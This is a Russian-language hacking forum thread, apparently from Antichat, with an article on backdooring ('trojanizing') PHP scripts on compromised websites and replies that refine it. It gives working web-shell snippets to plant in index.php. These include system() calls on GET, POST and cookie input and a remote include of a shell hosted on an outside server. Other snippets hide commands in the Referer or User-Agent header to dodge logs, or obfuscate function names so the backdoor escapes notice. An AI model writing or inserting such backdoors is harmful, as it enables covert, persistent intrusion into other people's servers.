Троянизация скриптов В этой статье будут описаны методы троянизациии серверных скриптов, написанных на PHP. ========= Вариант 1 ========= Началось всё с того что получив шелл на сайте, я захотел как-то закрепиться и добавил в index.php код такого содержания PHP: <?php system($_GET["cmd"]) ?> Вскоре полноценный шелл был удалён, остался только указанный выше. Я попробовал залить полноценный, но оказалось что на серваке нет ни wget, curl, etc.... ========= Вариант 2 ========= Тогда почему же не индклудить шелл каждый раз при загрузке страници PHP: <?php include("http://gaga.phpnet.us/shell.txt"); ?> Лучше инклудить шелл, только при определенный параметрах. Сделаем более интерактивнее : PHP: <?php if(@$_GET["hack"] == "yes") include($_GET['file']); ?> При переходе по адресу, указанному ниже мы получим удаллённый шелл Code: http://[сайт]/index.php?hack=yes&file=[шелл] ========= Вариант 3 ========= А что если мы протроянили скрипты таким способом, а на сервере allow_url_fopen = Off; Тогда используем такую конструкцию : PHP: <?php if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?> У нас есть и удаленный шелл, и командная строка. Можно ещё проверить разрешены ли функции exec(), system(), passthru(), но это увеличит размер. Добавим авторизацию: PHP: <?php if(@$_GET["hack"] == "yes") if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?> ========= Вариант 4 ========= В приведенных выше примерах данные передаються через адресную строку браузера. Чтобы в логах не было видно всех параметров, изменим немного исходники PHP: <?php if(ini_get('allow_url_fopen')) include ($_SERVER["HTTP_REFERER"]); else system($_SERVER["HTTP_REFERER"]); ?> В реферере, в зависимости от настроек php.ini, будет адрес шелла, или системная команда. ========= Заключение ========= Для изменения заголовков на лету можно использовать програму HTTPSubstitute от Zadoxlik'a http://forum.antichat.ru/thread23569.html Примеры скрытия Php кода опсаны в статье Great'a http://forum.antichat.ru/thread28246.html
> но оказалось что на серваке нет ни wget, curl, etc.... Если у тебя есть право на сокеты, считай, шелл скачал) Частичный бойан, но оформление красивое) [ADDED] Вы добавили слишком много репутации в последние 24 часа. Попробуйте попозже. ггг
Чтобы не удаляли <?php system($_GET["cmd"]) ?> юзай пост.. чтобы не палиться особо в логах дальше.. можно незаметно включить в серию иф-елсов конструкцию (которая уже присутствует в файлах)... Либо например добавляем свое.. т.е. у нас при условии поста align=1 Или align=0 в юзер агенте появляется шелл PHP: if ($_POST ['align'] == "1" || $_GET ['align'] == "0") { $server_get=$_SERVER['HTTP_USER_AGENT']; @include($server_get); else { die; } или опять же сделать чтониб сложное для понимания... накрутить много условий
Блин а где еще была тема про троянизацию скритов я помню кто то отписывал как лицинзеонное соглащение в массив загнать потом выдрать нужные символы и исполнить, вообще зря замяли тему.
2cash моно сделать примерно так: Code: <? $lic = "abcdefghijklmnopqrstuvwxyz итд."; $с = (собираешь слово system или eval); $c ($_POST['cmd']); ?> и никто не доепется =)
Ну вообще имхо самый актуальный способ это PHP: echo `$_REQUEST[m]`; х3 чё никто не пользуется=\ Данные передавать можно через что угодно: гет, пост, куки - пофик через что. само echo не так бросается в глаза по сравнению с тем же system или passthru. Так же актуален инклуд через кукисы или юзер агент. Да и вообще не статья, а хрень. Тема уже настолько замусоленная что тошно прям. Ничё нового=\
лично мое мнение боянище жуткое -- уже стоко про это написано - практически столько же как и про скули
2toxa если на то пошло, то можно просто где-то присобачить Code: <?=`$_POST['v']`?> тоже не броско и красиво =) а еще хорошо бы изменит $v на какую-то переменную из скрипта. Например если xoops, то сделать Code: <?=`$_POST['xxoops']`?>